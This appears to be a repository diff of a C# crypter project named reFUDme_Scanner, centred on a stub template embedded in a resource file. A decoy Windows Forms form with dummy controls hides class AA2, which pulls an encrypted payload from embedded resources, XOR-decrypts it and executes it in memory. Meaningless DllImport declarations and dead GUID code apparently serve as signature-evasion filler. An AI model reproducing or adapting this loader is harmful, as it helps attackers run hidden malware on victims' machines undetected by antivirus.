[assembly: AssemblyDescription("[ASSDESCRIPTION]")]
[assembly: AssemblyCompany("[COMPANY]")]
[assembly: AssemblyProduct("[PRODUCT]")]
[assembly: AssemblyCopyright("[COPYRIGHT]")]
[assembly: AssemblyVersion("[VERSION]")]
[assembly: AssemblyFileVersion("[VERSION]")]
namespace AA1
{
partial class Form1 : Form
{
/// &lt;summary&gt;
/// Required designer variable.
/// &lt;/summary&gt;
private System.ComponentModel.IContainer components = null;
/// &lt;summary&gt;
/// Clean up any resources being used.
/// &lt;/summary&gt;
/// &lt;param name="disposing"&gt;true if managed resources should be disposed; otherwise, false.&lt;/param&gt;
#region Windows Form Designer generated code
/// &lt;summary&gt;
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// &lt;/summary&gt;
private void InitializeComponent()
{
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.button4 = new System.Windows.Forms.Button();
this.button5 = new System.Windows.Forms.Button();
this.button6 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.checkBox4 = new System.Windows.Forms.CheckBox();
this.checkBox5 = new System.Windows.Forms.CheckBox();
this.checkBox6 = new System.Windows.Forms.CheckBox();
this.checkBox7 = new System.Windows.Forms.CheckBox();
this.checkBox8 = new System.Windows.Forms.CheckBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.label5 = new System.Windows.Forms.Label();
this.label6 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.numericUpDown3 = new System.Windows.Forms.NumericUpDown();
this.numericUpDown4 = new System.Windows.Forms.NumericUpDown();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.pictureBox2 = new System.Windows.Forms.PictureBox();
this.pictureBox3 = new System.Windows.Forms.PictureBox();
this.radioButton1 = new System.Windows.Forms.RadioButton();
this.radioButton2 = new System.Windows.Forms.RadioButton();
this.radioButton3 = new System.Windows.Forms.RadioButton();
this.treeView1 = new System.Windows.Forms.TreeView();
this.treeView2 = new System.Windows.Forms.TreeView();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit();
this.SuspendLayout();
//
// checkBox1
//
this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(30, 35);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(80, 17);
this.checkBox1.TabIndex = 0;
this.checkBox1.Text = "checkBox1";
this.checkBox1.UseVisualStyleBackColor = true;
//
// button1
//
this.button1.Location = new System.Drawing.Point(30, 69);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 1;
this.button1.Text = "button1";
this.button1.UseVisualStyleBackColor = true;
//
// button2
//
this.button2.Location = new System.Drawing.Point(105, 119);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 2;
this.button2.Text = "button2";
this.button2.UseVisualStyleBackColor = true;
//
// button3
//
this.button3.Location = new System.Drawing.Point(113, 127);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 3;
this.button3.Text = "button3";
this.button3.UseVisualStyleBackColor = true;
//
// button4
//
this.button4.Location = new System.Drawing.Point(121, 135);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(75, 23);
this.button4.TabIndex = 4;
this.button4.Text = "button4";
this.button4.UseVisualStyleBackColor = true;
//
// button5
//
this.button5.Location = new System.Drawing.Point(129, 143);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(75, 23);
this.button5.TabIndex = 5;
this.button5.Text = "button5";
this.button5.UseVisualStyleBackColor = true;
//
// button6
//
this.button6.Location = new System.Drawing.Point(137, 151);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(75, 23);
this.button6.TabIndex = 6;
this.button6.Text = "button6";
this.button6.UseVisualStyleBackColor = true;
//
// button7
//
this.button7.Location = new System.Drawing.Point(68, 127);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(75, 23);
this.button7.TabIndex = 7;
this.button7.Text = "button7";
this.button7.UseVisualStyleBackColor = true;
//
// checkBox2
//
this.checkBox2.AutoSize = true;
this.checkBox2.Location = new System.Drawing.Point(99, 47);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(80, 17);
this.checkBox2.TabIndex = 8;
this.checkBox2.Text = "checkBox2";
this.checkBox2.UseVisualStyleBackColor = true;
//
// checkBox3
//
this.checkBox3.AutoSize = true;
this.checkBox3.Location = new System.Drawing.Point(102, 122);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(80, 17);
this.checkBox3.TabIndex = 9;
this.checkBox3.Text = "checkBox3";
this.checkBox3.UseVisualStyleBackColor = true;
//
// checkBox4
//
this.checkBox4.AutoSize = true;
this.checkBox4.Location = new System.Drawing.Point(110, 130);
this.checkBox4.Name = "checkBox4";
this.checkBox4.Size = new System.Drawing.Size(80, 17);
this.checkBox4.TabIndex = 10;
this.checkBox4.Text = "checkBox4";
this.checkBox4.UseVisualStyleBackColor = true;
//
// checkBox5
//
this.checkBox5.AutoSize = true;
this.checkBox5.Location = new System.Drawing.Point(118, 138);
this.checkBox5.Name = "checkBox5";
this.checkBox5.Size = new System.Drawing.Size(80, 17);
this.checkBox5.TabIndex = 11;
this.checkBox5.Text = "checkBox5";
this.checkBox5.UseVisualStyleBackColor = true;
//
// checkBox6
//
this.checkBox6.AutoSize = true;
this.checkBox6.Location = new System.Drawing.Point(126, 146);
this.checkBox6.Name = "checkBox6";
this.checkBox6.Size = new System.Drawing.Size(80, 17);
this.checkBox6.TabIndex = 12;
this.checkBox6.Text = "checkBox6";
this.checkBox6.UseVisualStyleBackColor = true;
//
// checkBox7
//
this.checkBox7.AutoSize = true;
this.checkBox7.Location = new System.Drawing.Point(134, 154);
this.checkBox7.Name = "checkBox7";
this.checkBox7.Size = new System.Drawing.Size(80, 17);
this.checkBox7.TabIndex = 13;
this.checkBox7.Text = "checkBox7";
this.checkBox7.UseVisualStyleBackColor = true;
//
// checkBox8
//
this.checkBox8.AutoSize = true;
this.checkBox8.Location = new System.Drawing.Point(142, 162);
this.checkBox8.Name = "checkBox8";
this.checkBox8.Size = new System.Drawing.Size(80, 17);
this.checkBox8.TabIndex = 14;
this.checkBox8.Text = "checkBox8";
this.checkBox8.UseVisualStyleBackColor = true;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(93, 169);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(35, 13);
this.label1.TabIndex = 15;
this.label1.Text = "label1";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(125, 124);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(35, 13);
this.label2.TabIndex = 16;
this.label2.Text = "label2";
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(133, 132);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(35, 13);
this.label3.TabIndex = 17;
this.label3.Text = "label3";
//
// label4
//
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(141, 140);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(35, 13);
this.label4.TabIndex = 18;
this.label4.Text = "label4";
//
// label5
//
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(149, 148);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(35, 13);
this.label5.TabIndex = 19;
this.label5.Text = "label5";
//
// label6
//
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(157, 156);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(35, 13);
this.label6.TabIndex = 20;
this.label6.Text = "label6";
//
// numericUpDown1
//
this.numericUpDown1.Location = new System.Drawing.Point(57, 138);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(120, 20);
this.numericUpDown1.TabIndex = 21;
//
// numericUpDown2
//
this.numericUpDown2.Location = new System.Drawing.Point(82, 120);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(120, 20);
this.numericUpDown2.TabIndex = 22;
//
// numericUpDown3
//
this.numericUpDown3.Location = new System.Drawing.Point(90, 128);
this.numericUpDown3.Name = "numericUpDown3";
this.numericUpDown3.Size = new System.Drawing.Size(120, 20);
this.numericUpDown3.TabIndex = 23;
//
// numericUpDown4
//
this.numericUpDown4.Location = new System.Drawing.Point(98, 136);
this.numericUpDown4.Name = "numericUpDown4";
this.numericUpDown4.Size = new System.Drawing.Size(120, 20);
this.numericUpDown4.TabIndex = 24;
//
// pictureBox1
//
this.pictureBox1.Location = new System.Drawing.Point(30, 198);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(100, 50);
this.pictureBox1.TabIndex = 25;
this.pictureBox1.TabStop = false;
//
// pictureBox2
//
this.pictureBox2.Location = new System.Drawing.Point(92, 105);
this.pictureBox2.Name = "pictureBox2";
this.pictureBox2.Size = new System.Drawing.Size(100, 50);
this.pictureBox2.TabIndex = 26;
this.pictureBox2.TabStop = false;
//
// pictureBox3
//
this.pictureBox3.Location = new System.Drawing.Point(100, 113);
this.pictureBox3.Name = "pictureBox3";
this.pictureBox3.Size = new System.Drawing.Size(100, 50);
this.pictureBox3.TabIndex = 27;
this.pictureBox3.TabStop = false;
//
// radioButton1
//
this.radioButton1.AutoSize = true;
this.radioButton1.Location = new System.Drawing.Point(106, 69);
this.radioButton1.Name = "radioButton1";
this.radioButton1.Size = new System.Drawing.Size(85, 17);
this.radioButton1.TabIndex = 28;
this.radioButton1.TabStop = true;
this.radioButton1.Text = "radioButton1";
this.radioButton1.UseVisualStyleBackColor = true;
//
// radioButton2
//
this.radioButton2.AutoSize = true;
this.radioButton2.Location = new System.Drawing.Point(100, 122);
this.radioButton2.Name = "radioButton2";
this.radioButton2.Size = new System.Drawing.Size(85, 17);
this.radioButton2.TabIndex = 29;
this.radioButton2.TabStop = true;
this.radioButton2.Text = "radioButton2";
this.radioButton2.UseVisualStyleBackColor = true;
//
// radioButton3
//
this.radioButton3.AutoSize = true;
this.radioButton3.Location = new System.Drawing.Point(108, 130);
this.radioButton3.Name = "radioButton3";
this.radioButton3.Size = new System.Drawing.Size(85, 17);
this.radioButton3.TabIndex = 30;
this.radioButton3.TabStop = true;
this.radioButton3.Text = "radioButton3";
this.radioButton3.UseVisualStyleBackColor = true;
//
// treeView1
//
this.treeView1.Location = new System.Drawing.Point(13, 122);
this.treeView1.Name = "treeView1";
this.treeView1.Size = new System.Drawing.Size(121, 97);
this.treeView1.TabIndex = 31;
//
// treeView2
//
this.treeView2.Location = new System.Drawing.Point(82, 82);
this.treeView2.Name = "treeView2";
this.treeView2.Size = new System.Drawing.Size(121, 97);
this.treeView2.TabIndex = 32;
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Controls.Add(this.treeView2);
this.Controls.Add(this.treeView1);
this.Controls.Add(this.radioButton3);
this.Controls.Add(this.radioButton2);
this.Controls.Add(this.radioButton1);
this.Controls.Add(this.pictureBox3);
this.Controls.Add(this.pictureBox2);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.numericUpDown4);
this.Controls.Add(this.numericUpDown3);
this.Controls.Add(this.numericUpDown2);
this.Controls.Add(this.numericUpDown1);
this.Controls.Add(this.label6);
this.Controls.Add(this.label5);
this.Controls.Add(this.label4);
this.Controls.Add(this.label3);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Controls.Add(this.checkBox8);
this.Controls.Add(this.checkBox7);
this.Controls.Add(this.checkBox6);
this.Controls.Add(this.checkBox5);
this.Controls.Add(this.checkBox4);
this.Controls.Add(this.checkBox3);
this.Controls.Add(this.checkBox2);
this.Controls.Add(this.button7);
this.Controls.Add(this.button6);
this.Controls.Add(this.button5);
this.Controls.Add(this.button4);
this.Controls.Add(this.button3);
this.Controls.Add(this.button2);
this.Controls.Add(this.button1);
this.Controls.Add(this.checkBox1);
this.Name = "Form1";
this.Text = "Form1";
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.CheckBox checkBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.CheckBox checkBox2;
private System.Windows.Forms.CheckBox checkBox3;
private System.Windows.Forms.CheckBox checkBox4;
private System.Windows.Forms.CheckBox checkBox5;
private System.Windows.Forms.CheckBox checkBox6;
private System.Windows.Forms.CheckBox checkBox7;
private System.Windows.Forms.CheckBox checkBox8;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.Label label6;
private System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.NumericUpDown numericUpDown2;
private System.Windows.Forms.NumericUpDown numericUpDown3;
private System.Windows.Forms.NumericUpDown numericUpDown4;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.PictureBox pictureBox2;
private System.Windows.Forms.PictureBox pictureBox3;
private System.Windows.Forms.RadioButton radioButton1;
private System.Windows.Forms.RadioButton radioButton2;
private System.Windows.Forms.RadioButton radioButton3;
private System.Windows.Forms.TreeView treeView1;
private System.Windows.Forms.TreeView treeView2;
}
internal class AA2
{
[DllImport("KK3KK1.dll")] static extern string KK2SS3(IntPtr MM2MM1, byte MM1MM2);
[DllImport("KK3KK2.dll")] static extern string[] KK3SS2(Boolean[] MM3MM2, char MM2MM3);
[DllImport("KK2KK3.dll")] static extern int KK4SS1(StringComparer MM4MM3, long MM3MM4);
[DllImport("KK4KK1.dll")] static extern Boolean KK5BB1(int[] MM5MM6, char MM6MM5);
public static string[] PP1;
static void Main(string[] PP1PP2PP3PP4)
{
byte[] BB3BB7 = null;
try
{
byte[] BB1BB2BB3 = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]");
PP1 = PP1PP2PP3PP4;
BB3BB7 = BB1BB2BB3 = BB3( BB1BB2BB3, "[ENCRYPTION]");
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
public static byte[] BB3(byte[] DD3, string DD2)
{
byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2);
for (int i = 0; i &lt; DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] &gt;&gt; (i + 5 + DD1.Length) &amp; 255);
AppDomain.CurrentDomain.Load(DD3).EntryPoint.Invoke(null, new object[]{PP1});
Guid originalGuid = Guid.NewGuid();
// Create an array of string representations of the GUID.
string[] stringGuids = {originalGuid.ToString("B"),originalGuid.ToString("b"),originalGuid.ToString("B")};
// Parse each string representation.
foreach (string stringGuid in stringGuids) {
try {
// Guid newGuid = Guid.Parse(stringGuid);
// Console.WriteLine("Converted {0} to a Guid", stringGuid);
}
catch (ArgumentNullException) {
// Console.WriteLine("The string to be parsed is null.");
}
catch (FormatException) {
// Console.WriteLine("Bad format: {0}", stringGuid);
}
}
return DD3;
//return null;
}
}
}</value>
</data>
</root>
Binary file not shown.
Binary file not shown.
+3
View File
@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/></startup></configuration>
+57
View File
@@ -0,0 +1,57 @@
namespace reFUDme_Scanner
{
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
public class XtendPicBox : Panel
{
// Fields
private PictureBox innerPicture = new PictureBox();
private bool mAutoScroll = true;
private string mPictureFile = string.Empty;
// Methods
public XtendPicBox()
{
this.innerPicture.Top = 0;
this.innerPicture.Left = 0;
this.innerPicture.SizeMode = PictureBoxSizeMode.Normal;
base.Controls.Add(this.innerPicture);
}
// Properties
[Browsable(false)]
public override bool AutoScroll
{
get
{
return this.mAutoScroll;
}
set
{
this.mAutoScroll = value;
}
}
[Browsable(true), Description("Set path to image file."), Category("Image File")]
public string PictureFile
{
get
{
return this.mPictureFile;
}
set
{
this.mPictureFile = value;
if (!string.IsNullOrEmpty(this.mPictureFile))
{
this.innerPicture.Image = Image.FromFile(this.mPictureFile);
this.innerPicture.Size = this.innerPicture.Image.Size;
}
}
}
}
}
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More